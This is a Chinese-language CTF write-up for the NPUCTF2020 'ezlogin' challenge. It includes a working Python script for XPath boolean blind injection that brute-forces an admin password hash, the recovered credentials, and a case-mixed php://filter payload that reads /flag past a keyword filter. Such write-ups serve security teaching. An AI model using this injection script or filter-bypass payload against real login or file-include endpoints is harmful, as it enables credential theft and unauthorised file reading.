zoukankan      html  css  js  c++  java
  • [NPUCTF2020]ezlogin

    0x01

    首页如上,是一个登录的页面,而且这个页面是有时间限制的,超过一定时间没登录就需要刷新页面重新登录。我们抓包看看

    登录的时候一个session只能存在一定的时间,通过抓包的内容来看,这里要用到Xpath的知识点

    关于Xpath参考https://www.cnblogs.com/backlion/p/8554749.html

    xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注。

    这里使用大佬的脚本爆破

    import requests
    import string
    import time
    import re
    session = requests.session()
    base_url = 'you_address'
    success = '??'
    payload = "' or substring({target},{index},1)='{char}' or '"
    
    chars = string.ascii_letters+string.digits
    
    
    def get_csrf():
        res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
                                             'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
        return re.findall('<input.*value="(.*?)"./>', res)[0]
    
    
    target = 'string(/*[1]/*[1]/*[2]/*[3])'
    # username adm1n
    # password cf7414b5bdb2e65ee43083f4ddbc4d9f
    data = '<username>{username}</username><password>1</password><token>{token}</token>'
    
    result = 'cf7414b5bdb2e65ee43'
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
               'Content-Type': 'application/xml',
               'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
    for i in range(20, 35):
        for j in chars:
            time.sleep(0.2)
            temp_payload = payload.format(target=target, index=str(i), char=j)
    
            token = get_csrf()
    
            temp_data = data.format(username=temp_payload, token=token)
            res = session.post(url=base_url+'login.php',
                               data=temp_data, headers=headers)
            # print(temp_data)
            # print(res.text)
            # print(len(res.text))
            if len(res.text) == 5:
                result += j
                break
        print(result)
    

    通过爆破得知存在账号为adm1n,密码为cf7414b5bdb2e65ee43083f4ddbc4d9f的用户,密码通过md5解密得到为gtfly123,然后我们用这个账号登录进去

    0x02

    登录进去以后查看源代码,发现如下提示

    猜测是base64加密,所以这里用base64解密

    结果提示我们flag在 /flag中,告诉了我们路径,看来我们需要来读取文件了,到这里我们来看一下登陆进去后的url

    这部是典型的文件读取协议么,那么我们尝试用php://filter伪协议来读取文件

    payload

    ?file=pHp://filter/convert.bASe64-encode/resource=/flag
    

    经过尝试,php和base进行了过滤,这里可以用大写来进行绕过

    返回页面查看源码,如下图

    猜测还是base64加密,我们用base64解密一下,解密结果如下

    拿到flag

    总结

    这道题很新颖的注入姿势就是Xpath注入,这个是我以前没有见到过的。

  • 相关阅读:
    Paratroopers 最大流问题 dinic算法 水平有待提高
    Food Delivery 区间dp
    D
    Codeforces 1282A Temporarily unavailable
    PAT 顶级 1017 The Best Peak Shape (35分)(最长上升子序列)
    POJ 2217 Secretary(后缀数组+高度数组)
    团体程序设计天梯赛 L1-011~L1-015
    PAT顶级解题目录
    PAT顶级 1005 Programming Pattern (35分)(后缀数组+基数排序 或 字符串哈希)
    团体程序设计天梯赛 L1-006~L1-010
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13325150.html
Copyright © 2011-2022 走看看